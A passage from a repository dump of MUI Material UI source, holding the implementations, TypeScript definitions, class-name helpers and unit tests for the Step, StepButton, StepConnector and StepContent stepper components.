PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * Mark the step as completed. Is passed to child components.\n   */\n  completed: PropTypes.bool,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, the step is disabled, will also disable the button if\n   * `StepButton` is a child of `Step`. Is passed to child components.\n   */\n  disabled: PropTypes.bool,\n  /**\n   * Expand the step.\n   * @default false\n   */\n  expanded: PropTypes.bool,\n  /**\n   * The position of the step.\n   * The prop defaults to the value inherited from the parent Stepper component.\n   */\n  index: integerPropType,\n  /**\n   * If `true`, the Step is displayed as rendered last.\n   * The prop defaults to the value inherited from the parent Stepper component.\n   */\n  last: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default Step;\n"
  },
  {
    "path": "packages/mui-material/src/Step/Step.spec.tsx",
    "content": "import Step from '@mui/material/Step';\n\n<Step component=\"a\" href=\"/\" active />;\n\n<Step active completed disabled expanded last />;\n<Step sx={(theme) => ({ bgcolor: 'red', borderColor: theme.palette.divider })} />;\n"
  },
  {
    "path": "packages/mui-material/src/Step/Step.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Step, { stepClasses as classes } from '@mui/material/Step';\nimport Stepper, { StepperContextProvider } from '@mui/material/Stepper';\nimport StepLabel, { stepLabelClasses } from '@mui/material/StepLabel';\nimport StepButton, { stepButtonClasses } from '@mui/material/StepButton';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Step />', () => {\n  const { render } = createRenderer();\n\n  // StepButton needs to be rendered in a StepperContextProvider\n  function renderInContext(node) {\n    return render(\n      <StepperContextProvider\n        value={{\n          registerElementRef: () => {},\n        }}\n      >\n        {node}\n      </StepperContextProvider>,\n    );\n  }\n\n  describeConformance(<Step />, () => ({\n    classes,\n    inheritComponent: 'li',\n    render: renderInContext,\n    muiName: 'MuiStep',\n    testVariantProps: { variant: 'foo' },\n    refInstanceof: window.HTMLLIElement,\n  }));\n\n  it('merges styles and other props into the root node', () => {\n    render(\n      <Step\n        index={1}\n        style={{ paddingRight: 200, color: 'purple', border: '1px solid tomato' }}\n        data-testid=\"root\"\n        orientation=\"horizontal\"\n      />,\n    );\n\n    const rootNode = screen.getByTestId('root');\n    expect(rootNode.style).to.have.property('paddingRight', '200px');\n    expect(rootNode.style).to.have.property('color', 'purple');\n    expect(rootNode.style).to.have.property('border', '1px solid tomato');\n  });\n\n  describe('rendering children', () => {\n    it('renders children', () => {\n      const { container } = renderInContext(\n        <Step>\n          <StepButton />\n          <StepLabel />\n        </Step>,\n      );\n\n      const stepLabel = container.querySelector(`.${stepLabelClasses.root}`);\n      const stepButton = container.querySelector(`.${stepButtonClasses.root}`);\n      expect(stepLabel).not.to.equal(null);\n      expect(stepButton).not.to.equal(null);\n    });\n\n    it('should handle null children', () => {\n      const { container } = renderInContext(\n        <Step>\n          <StepButton />\n          {null}\n        </Step>,\n      );\n\n      const stepButton = container.querySelector(`.${stepButtonClasses.root}`);\n      expect(stepButton).not.to.equal(null);\n    });\n\n    it('should add the role presentation to the root node if the context is a tab list', () => {\n      renderInContext(\n        <Stepper activeStep={0}>\n          <Step>\n            <StepButton>Step 1</StepButton>\n          </Step>\n        </Stepper>,\n      );\n\n      const stepper = screen.getByRole('tablist');\n\n      expect(stepper.childNodes[0]).to.have.attribute('role', 'presentation');\n    });\n  });\n\n  describe('overriding context props', () => {\n    it('overrides \"active\" context value', () => {\n      render(\n        <Stepper activeStep={1}>\n          <Step>\n            <StepLabel>Step 1</StepLabel>\n          </Step>\n          <Step>\n            <StepLabel>Step 2</StepLabel>\n          </Step>\n          <Step active>\n            <StepLabel>Step 3</StepLabel>\n          </Step>\n        </Stepper>,\n      );\n\n      const stepLabel = screen.getByText('Step 3');\n      expect(stepLabel).to.have.class(stepLabelClasses.active);\n    });\n\n    it('overrides \"completed\" context value', () => {\n      render(\n        <Stepper activeStep={1}>\n          <Step>\n            <StepLabel>Step 1</StepLabel>\n          </Step>\n          <Step>\n            <StepLabel>Step 2</StepLabel>\n          </Step>\n          <Step completed>\n            <StepLabel>Step 3</StepLabel>\n          </Step>\n        </Stepper>,\n      );\n\n      const stepLabel = screen.getByText('Step 3');\n      expect(stepLabel).to.have.class(stepLabelClasses.completed);\n    });\n\n    it('overrides \"disabled\" context value', () => {\n      const { container } = render(\n        <Stepper activeStep={1}>\n          <Step>\n            <StepLabel>Step 1</StepLabel>\n          </Step>\n          <Step disabled>\n            <StepLabel>Step 2</StepLabel>\n          </Step>\n          <Step>\n            <StepLabel>Step 3</StepLabel>\n          </Step>\n        </Stepper>,\n      );\n\n      const stepLabels = container.querySelectorAll(`.${stepLabelClasses.root}`);\n      expect(stepLabels[1]).to.have.class(stepLabelClasses.disabled);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Step/StepContext.ts",
    "content": "'use client';\nimport * as React from 'react';\n\nexport interface StepContextType {\n  index: number;\n  last: boolean;\n  expanded: boolean;\n  icon: React.ReactNode;\n  active: boolean;\n  completed: boolean;\n  disabled: boolean;\n}\n\n/**\n * Provides information about the current step in Stepper.\n */\nconst StepContext = React.createContext<StepContextType | {}>({});\n\nif (process.env.NODE_ENV !== 'production') {\n  StepContext.displayName = 'StepContext';\n}\n\n/**\n * Returns the current StepContext or an empty object if no StepContext\n * has been defined in the component tree.\n */\nexport function useStepContext(): StepContextType | {} {\n  return React.useContext(StepContext);\n}\n\nexport default StepContext;\n"
  },
  {
    "path": "packages/mui-material/src/Step/index.d.ts",
    "content": "export { default } from './Step';\nexport * from './Step';\n\nexport { default as stepClasses } from './stepClasses';\nexport * from './stepClasses';\n\nexport { default as StepContext } from './StepContext';\nexport * from './StepContext';\n"
  },
  {
    "path": "packages/mui-material/src/Step/index.js",
    "content": "export { default } from './Step';\n\nexport { default as stepClasses } from './stepClasses';\nexport * from './stepClasses';\n\nexport { default as StepContext } from './StepContext';\nexport * from './StepContext';\n"
  },
  {
    "path": "packages/mui-material/src/Step/stepClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface StepClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `orientation=\"horizontal\"`. */\n  horizontal: string;\n  /** Styles applied to the root element if `orientation=\"vertical\"`. */\n  vertical: string;\n  /** Styles applied to the root element if `alternativeLabel={true}`. */\n  alternativeLabel: string;\n  /** State class applied to the root element if `completed={true}`. */\n  completed: string;\n}\n\nexport type StepClassKey = keyof StepClasses;\n\nexport function getStepUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiStep', slot);\n}\n\nconst stepClasses: StepClasses = generateUtilityClasses('MuiStep', [\n  'root',\n  'horizontal',\n  'vertical',\n  'alternativeLabel',\n  'completed',\n]);\n\nexport default stepClasses;\n"
  },
  {
    "path": "packages/mui-material/src/StepButton/StepButton.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { ButtonBaseTypeMap, ExtendButtonBase, ExtendButtonBaseTypeMap } from '../ButtonBase';\nimport { OverrideProps } from '../OverridableComponent';\nimport { Theme } from '../styles';\nimport { StepButtonClasses } from './stepButtonClasses';\n\nexport interface StepButtonOwnProps {\n  /**\n   * Can be a `StepLabel` or a node to place inside `StepLabel` as children.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<StepButtonClasses> | undefined;\n  /**\n   * The icon displayed by the step label.\n   */\n  icon?: React.ReactNode;\n  /**\n   * The optional node to display.\n   */\n  optional?: React.ReactNode;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport type StepButtonTypeMap<\n  AdditionalProps,\n  RootComponent extends React.ElementType,\n> = ExtendButtonBaseTypeMap<{\n  props: AdditionalProps & StepButtonOwnProps;\n  defaultComponent: RootComponent;\n\n  ignoredProps: 'disabled';\n}>;\n\n/**\n *\n * Demos:\n *\n * - [Stepper](https://next.mui.com/material-ui/react-stepper/)\n *\n * API:\n *\n * - [StepButton API](https://next.mui.com/material-ui/api/step-button/)\n * - inherits [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\ndeclare const StepButton: ExtendButtonBase<\n  StepButtonTypeMap<{}, ButtonBaseTypeMap['defaultComponent']>\n>;\n\nexport type StepButtonClasskey = keyof NonNullable<StepButtonProps['classes']>;\n\nexport type StepButtonProps<\n  RootComponent extends React.ElementType = ButtonBaseTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<StepButtonTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default StepButton;\n"
  },
  {
    "path": "packages/mui-material/src/StepButton/StepButton.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport ButtonBase from '../ButtonBase';\nimport StepLabel from '../StepLabel';\nimport isMuiElement from '../utils/isMuiElement';\nimport { useStepperContext } from '../Stepper/StepperContext';\nimport StepContext from '../Step/StepContext';\nimport stepButtonClasses, { getStepButtonUtilityClass } from './stepButtonClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, orientation } = ownerState;\n\n  const slots = {\n    root: ['root', orientation],\n    touchRipple: ['touchRipple'],\n  };\n\n  return composeClasses(slots, getStepButtonUtilityClass, classes);\n};\n\nconst StepButtonRoot = styled(ButtonBase, {\n  name: 'MuiStepButton',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      { [`& .${stepButtonClasses.touchRipple}`]: styles.touchRipple },\n      styles.root,\n      styles[ownerState.orientation],\n    ];\n  },\n})({\n  width: '100%',\n  padding: '24px 16px',\n  margin: '-24px -16px',\n  boxSizing: 'content-box',\n  [`& .${stepButtonClasses.touchRipple}`]: {\n    color: 'rgba(0, 0, 0, 0.3)',\n  },\n  variants: [\n    {\n      props: { orientation: 'vertical' },\n      style: {\n        justifyContent: 'flex-start',\n        padding: '8px',\n        margin: '-8px',\n      },\n    },\n  ],\n});\n\nconst StepButton = React.forwardRef(function StepButton(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiStepButton' });\n  const { children, className, icon, optional, ...other } = props;\n\n  const { disabled, active, index } = React.useContext(StepContext);\n  const { orientation, totalSteps, getRovingTabIndexProps } = useStepperContext();\n\n  const ownerState = { ...props, orientation };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const childProps = {\n    icon,\n    optional,\n  };\n\n  const child = isMuiElement(children, ['StepLabel']) ? (\n    React.cloneElement(children, childProps)\n  ) : (\n    <StepLabel {...childProps}>{children}</StepLabel>\n  );\n\n  const rovingTabIndexItemProps = getRovingTabIndexProps?.(index, ref) ?? {\n    ref,\n    tabIndex: active ? 0 : -1,\n  };\n\n  return (\n    <StepButtonRoot\n      internalNativeButton\n      focusRipple\n      disabled={disabled}\n      TouchRippleProps={{ className: classes.touchRipple }}\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      aria-selected={active}\n      aria-posinset={index + 1}\n      aria-setsize={totalSteps}\n      role=\"tab\"\n      {...rovingTabIndexItemProps}\n      {...other}\n    >\n      {child}\n    </StepButtonRoot>\n  );\n});\n\nStepButton.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Can be a `StepLabel` or a node to place inside `StepLabel` as children.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The icon displayed by the step label.\n   */\n  icon: PropTypes.node,\n  /**\n   * The optional node to display.\n   */\n  optional: PropTypes.node,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default StepButton;\n"
  },
  {
    "path": "packages/mui-material/src/StepButton/StepButton.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, screen, fireEvent, supportsTouch } from '@mui/internal-test-utils';\nimport StepButton, { stepButtonClasses as classes } from '@mui/material/StepButton';\nimport Step from '@mui/material/Step';\nimport StepLabel, { stepLabelClasses } from '@mui/material/StepLabel';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport describeConformance from '../../test/describeConformance';\nimport Stepper from '../Stepper';\n\ndescribe('<StepButton />', () => {\n  const { render } = createRenderer();\n\n  describe('internals', () => {\n    describeConformance(<StepButton />, () => ({\n      classes,\n      inheritComponent: ButtonBase,\n      muiName: 'MuiStepButton',\n      refInstanceof: window.HTMLButtonElement,\n      render,\n      skip: ['componentProp', 'themeVariants'],\n    }));\n\n    it('should receive the correct aria attributes', () => {\n      render(\n        <Stepper>\n          <Step>\n            <StepButton>Step One</StepButton>\n          </Step>\n          <Step>\n            <StepButton>Step Two</StepButton>\n          </Step>\n        </Stepper>,\n      );\n\n      const stepButton1 = screen.getByRole('tab', { name: 'Step One' });\n      const stepButton2 = screen.getByRole('tab', { name: 'Step Two' });\n\n      expect(stepButton1).to.have.attribute('aria-selected', 'true');\n      expect(stepButton1).to.have.attribute('aria-posinset', '1');\n      expect(stepButton1).to.have.attribute('aria-setsize', '2');\n\n      expect(stepButton2).not.to.have.attribute('aria-current', 'step');\n      expect(stepButton2).to.have.attribute('aria-posinset', '2');\n      expect(stepButton2).to.have.attribute('aria-setsize', '2');\n    });\n\n    it('passes active, completed, disabled to StepLabel', () => {\n      const { container } = render(\n        <Step active completed disabled>\n          <StepButton>Step One</StepButton>\n        </Step>,\n      );\n\n      const stepLabelRoot = container.querySelector(`.${stepLabelClasses.root}`);\n      const stepLabel = container.querySelector(`.${stepLabelClasses.label}`);\n\n      expect(stepLabelRoot).to.have.class(stepLabelClasses.disabled);\n      expect(stepLabel).to.have.class(stepLabelClasses.active);\n      expect(stepLabel).to.have.class(stepLabelClasses.completed);\n    });\n\n    it('should pass props to a provided StepLabel', () => {\n      const { container } = render(\n        <Step active completed disabled>\n          <StepButton label=\"Step One\">\n            <StepLabel>Step One</StepLabel>\n          </StepButton>\n        </Step>,\n      );\n\n      const stepLabelRoot = container.querySelector(`.${stepLabelClasses.root}`);\n      const stepLabel = container.querySelector(`.${stepLabelClasses.label}`);\n\n      expect(stepLabelRoot).to.have.class(stepLabelClasses.disabled);\n      expect(stepLabel).to.have.class(stepLabelClasses.active);\n      expect(stepLabel).to.have.class(stepLabelClasses.completed);\n    });\n  });\n\n  it('should disable the button', () => {\n    render(<StepButton disabled>Step One</StepButton>);\n\n    expect(screen.getByRole('tab')).to.have.property('disabled', true);\n  });\n\n  describe('event handlers', () => {\n    // only run in supported browsers\n    it.skipIf(!supportsTouch())(\n      'should forward mouseenter, mouseleave and touchstart',\n      function touchTests() {\n        const handleMouseEnter = spy();\n        const handleMouseLeave = spy();\n        const handleTouchStart = spy();\n\n        render(\n          <StepButton\n            onMouseEnter={handleMouseEnter}\n            onMouseLeave={handleMouseLeave}\n            onTouchStart={handleTouchStart}\n          >\n            Step One\n          </StepButton>,\n        );\n\n        const button = screen.getByRole('tab', { name: 'Step One' });\n\n        fireEvent.mouseOver(button);\n\n        expect(handleMouseEnter).to.have.property('callCount', 1);\n        expect(handleMouseLeave).to.have.property('callCount', 0);\n        expect(handleTouchStart).to.have.property('callCount', 0);\n\n        fireEvent.mouseOut(button);\n\n        expect(handleMouseEnter).to.have.property('callCount', 1);\n        expect(handleMouseLeave).to.have.property('callCount', 1);\n        expect(handleTouchStart).to.have.property('callCount', 0);\n\n        // fake touch\n        const firstTouch = new Touch({ identifier: 0, target: button });\n        fireEvent.touchStart(button, { touches: [firstTouch] });\n\n        expect(handleMouseEnter).to.have.property('callCount', 1);\n        expect(handleMouseLeave).to.have.property('callCount', 1);\n        expect(handleTouchStart).to.have.property('callCount', 1);\n\n        fireEvent.mouseOver(button);\n        const secondTouch = new Touch({ identifier: 1, target: button });\n        fireEvent.touchStart(button, { touches: [firstTouch, secondTouch] });\n\n        expect(handleMouseEnter).to.have.property('callCount', 2);\n        expect(handleMouseLeave).to.have.property('callCount', 1);\n        expect(handleTouchStart).to.have.property('callCount', 2);\n      },\n    );\n  });\n\n  describe('prop: nativeButton', () => {\n    it('forwards nativeButton={false} and preserves role=\"tab\" over pseudo-button role', () => {\n      const CustomSpan = React.forwardRef((props, ref) => <span ref={ref} {...props} />);\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(\n        <Stepper>\n          <Step>\n            <StepButton component={CustomSpan} nativeButton={false}>\n              Step One\n            </StepButton>\n          </Step>\n        </Stepper>,\n      );\n\n      const stepButton = screen.getByRole('tab', { name: 'Step One' });\n      expect(stepButton).to.have.tagName('SPAN');\n      expect(stepButton).to.have.attribute('role', 'tab');\n      expect(stepButton).not.to.have.attribute('type');\n\n      // Proves nativeButton={false} was forwarded — without it, ButtonBase\n      // would warn about a non-button host with nativeButton omitted.\n      expect(errorSpy.mock.calls.length).to.equal(0);\n      errorSpy.mockRestore();\n    });\n  });\n\n  it('can be used as a child of `Step`', () => {\n    render(\n      <Step>\n        <StepButton>Next</StepButton>\n      </Step>,\n    );\n\n    expect(screen.getByRole('tab', { name: 'Next' })).not.to.equal(null);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/StepButton/index.d.ts",
    "content": "export { default } from './StepButton';\nexport * from './StepButton';\n\nexport { default as stepButtonClasses } from './stepButtonClasses';\nexport * from './stepButtonClasses';\n"
  },
  {
    "path": "packages/mui-material/src/StepButton/index.js",
    "content": "export { default } from './StepButton';\n\nexport { default as stepButtonClasses } from './stepButtonClasses';\nexport * from './stepButtonClasses';\n"
  },
  {
    "path": "packages/mui-material/src/StepButton/stepButtonClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface StepButtonClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `orientation=\"horizontal\"`. */\n  horizontal: string;\n  /** Styles applied to the root element if `orientation=\"vertical\"`. */\n  vertical: string;\n  /** Styles applied to the `ButtonBase` touch-ripple. */\n  touchRipple: string;\n}\n\nexport type StepButtonClassKey = keyof StepButtonClasses;\n\nexport function getStepButtonUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiStepButton', slot);\n}\n\nconst stepButtonClasses: StepButtonClasses = generateUtilityClasses('MuiStepButton', [\n  'root',\n  'horizontal',\n  'vertical',\n  'touchRipple',\n]);\n\nexport default stepButtonClasses;\n"
  },
  {
    "path": "packages/mui-material/src/StepConnector/StepConnector.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { StepConnectorClasses } from './stepConnectorClasses';\n\nexport type StepConnectorIcon = React.ReactElement<unknown> | string | number;\n\nexport interface StepConnectorProps extends StandardProps<\n  React.HTMLAttributes<HTMLDivElement>,\n  'children'\n> {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<StepConnectorClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport type StepConnectorClasskey = keyof NonNullable<StepConnectorProps['classes']>;\n\n/**\n *\n * Demos:\n *\n * - [Stepper](https://next.mui.com/material-ui/react-stepper/)\n *\n * API:\n *\n * - [StepConnector API](https://next.mui.com/material-ui/api/step-connector/)\n */\nexport default function StepConnector(props: StepConnectorProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/StepConnector/StepConnector.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { useStepperContext } from '../Stepper/StepperContext';\nimport StepContext from '../Step/StepContext';\nimport { getStepConnectorUtilityClass } from './stepConnectorClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, orientation, alternativeLabel, active, completed, disabled } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      orientation,\n      alternativeLabel && 'alternativeLabel',\n      active && 'active',\n      completed && 'completed',\n      disabled && 'disabled',\n    ],\n    line: ['line'],\n  };\n\n  return composeClasses(slots, getStepConnectorUtilityClass, classes);\n};\n\nconst StepConnectorRoot = styled('div', {\n  name: 'MuiStepConnector',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[ownerState.orientation],\n      ownerState.alternativeLabel && styles.alternativeLabel,\n      ownerState.completed && styles.completed,\n    ];\n  },\n})({\n  flex: '1 1 auto',\n  variants: [\n    {\n      props: { orientation: 'vertical' },\n      style: {\n        marginLeft: 12, // half icon\n      },\n    },\n    {\n      props: { alternativeLabel: true },\n      style: {\n        position: 'absolute',\n        top: 8 + 4,\n        left: 'calc(-50% + 20px)',\n        right: 'calc(50% + 20px)',\n      },\n    },\n  ],\n});\n\nconst StepConnectorLine = styled('span', {\n  name: 'MuiStepConnector',\n  slot: 'Line',\n  overridesResolver: (props, styles) => styles.line,\n})(\n  memoTheme(({ theme }) => {\n    const borderColor =\n      theme.palette.mode === 'light' ? theme.palette.grey[400] : theme.palette.grey[600];\n    return {\n      display: 'block',\n      borderColor: theme.vars ? theme.vars.palette.StepConnector.border : borderColor,\n      variants: [\n        {\n          props: { orientation: 'horizontal' },\n          style: {\n            borderTopStyle: 'solid',\n            borderTopWidth: 1,\n          },\n        },\n        {\n          props: { orientation: 'vertical' },\n          style: {\n            borderLeftStyle: 'solid',\n            borderLeftWidth: 1,\n            minHeight: 24,\n          },\n        },\n      ],\n    };\n  }),\n);\n\nconst StepConnector = React.forwardRef(function StepConnector(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiStepConnector' });\n  const { className, ...other } = props;\n\n  const { alternativeLabel, orientation = 'horizontal' } = useStepperContext();\n  const { active, disabled, completed } = React.useContext(StepContext);\n\n  const ownerState = { ...props, alternativeLabel, orientation, active, completed, disabled };\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <StepConnectorRoot\n      className={clsx(classes.root, className)}\n      ref={ref}\n      ownerState={ownerState}\n      {...other}\n    >\n      <StepConnectorLine className={classes.line} ownerState={ownerState} />\n    </StepConnectorRoot>\n  );\n});\n\nStepConnector.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default StepConnector;\n"
  },
  {
    "path": "packages/mui-material/src/StepConnector/StepConnector.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport Step from '@mui/material/Step';\nimport StepConnector, { stepConnectorClasses as classes } from '@mui/material/StepConnector';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<StepConnector />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<StepConnector />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiStepConnector',\n    refInstanceof: window.HTMLDivElement,\n    skip: ['componentProp', 'themeVariants'],\n  }));\n\n  describe('rendering', () => {\n    it('renders a div containing a span', () => {\n      const { container } = render(<StepConnector />);\n\n      const stepConnector = container.querySelector(`.${classes.root}`);\n      const span = stepConnector.querySelector('span');\n      expect(stepConnector).not.to.equal(null);\n      expect(span).not.to.equal(null);\n    });\n\n    it('has the class when active', () => {\n      const { container } = render(\n        <Step active>\n          <StepConnector />\n        </Step>,\n      );\n\n      const stepConnector = container.querySelector(`.${classes.root}`);\n      expect(stepConnector).to.have.class(classes.active);\n    });\n\n    it('has the class when completed', () => {\n      const { container } = render(\n        <Step completed>\n          <StepConnector />\n        </Step>,\n      );\n\n      const stepConnector = container.querySelector(`.${classes.root}`);\n      expect(stepConnector).to.have.class(classes.completed);\n    });\n\n    it('has the class when disabled', () => {\n      const { container } = render(\n        <Step disabled>\n          <StepConnector />\n        </Step>,\n      );\n\n      const stepConnector = container.querySelector(`.${classes.root}`);\n      expect(stepConnector).to.have.class(classes.disabled);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/StepConnector/index.d.ts",
    "content": "export { default } from './StepConnector';\nexport * from './StepConnector';\n\nexport { default as stepConnectorClasses } from './stepConnectorClasses';\nexport * from './stepConnectorClasses';\n"
  },
  {
    "path": "packages/mui-material/src/StepConnector/index.js",
    "content": "export { default } from './StepConnector';\n\nexport { default as stepConnectorClasses } from './stepConnectorClasses';\nexport * from './stepConnectorClasses';\n"
  },
  {
    "path": "packages/mui-material/src/StepConnector/stepConnectorClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface StepConnectorClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `orientation=\"horizontal\"`. */\n  horizontal: string;\n  /** Styles applied to the root element if `orientation=\"vertical\"`. */\n  vertical: string;\n  /** Styles applied to the root element if `alternativeLabel={true}`. */\n  alternativeLabel: string;\n  /** State class applied to the root element if `active={true}`. */\n  active: string;\n  /** State class applied to the root element if `completed={true}`. */\n  completed: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the line element. */\n  line: string;\n}\n\nexport type StepConnectorClassKey = keyof StepConnectorClasses;\n\nexport function getStepConnectorUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiStepConnector', slot);\n}\n\nconst stepConnectorClasses: StepConnectorClasses = generateUtilityClasses('MuiStepConnector', [\n  'root',\n  'horizontal',\n  'vertical',\n  'alternativeLabel',\n  'active',\n  'completed',\n  'disabled',\n  'line',\n]);\n\nexport default stepConnectorClasses;\n"
  },
  {
    "path": "packages/mui-material/src/StepContent/StepContent.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { CollapseProps } from '../Collapse';\nimport { TransitionProps } from '../transitions/transition';\nimport { StepContentClasses } from './stepContentClasses';\nimport { CreateSlotsAndSlotProps, SlotComponentProps } from '../utils/types';\n\nexport interface StepContentSlots {\n  /**\n   * The component that renders the transition slot.\n   * [Follow this guide](https://mui.com/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\n   * @default Collapse\n   */\n  transition?:\n    | React.JSXElementConstructor<TransitionProps & { children: React.ReactElement<unknown, any> }>\n    | undefined;\n}\n\nexport type StepContentSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  StepContentSlots,\n  {\n    /**\n     * Props forwarded to the transition slot.\n     * By default, the available props are based on the [Collapse](https://mui.com/material-ui/api/collapse/#props) component\n     */\n    transition: SlotComponentProps<\n      React.ElementType<CollapseProps>,\n      CollapseProps,\n      StepContentOwnerState\n    >;\n  }\n>;\n\nexport interface StepContentOwnerState extends StepContentProps {}\n\nexport interface StepContentProps\n  extends StandardProps<React.HTMLAttributes<HTMLDivElement>>, StepContentSlotsAndSlotProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<StepContentClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * Adjust the duration of the content expand transition.\n   * Passed as a prop to the transition component.\n   *\n   * Set to 'auto' to automatically calculate transition time based on height.\n   * @default 'auto'\n   */\n  transitionDuration?: TransitionProps['timeout'] | 'auto' | undefined;\n}\n\nexport type StepContentClasskey = keyof NonNullable<StepContentProps['classes']>;\n\n/**\n *\n * Demos:\n *\n * - [Stepper](https://next.mui.com/material-ui/react-stepper/)\n *\n * API:\n *\n * - [StepContent API](https://next.mui.com/material-ui/api/step-content/)\n */\nexport default function StepContent(props: StepContentProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/StepContent/StepContent.js",
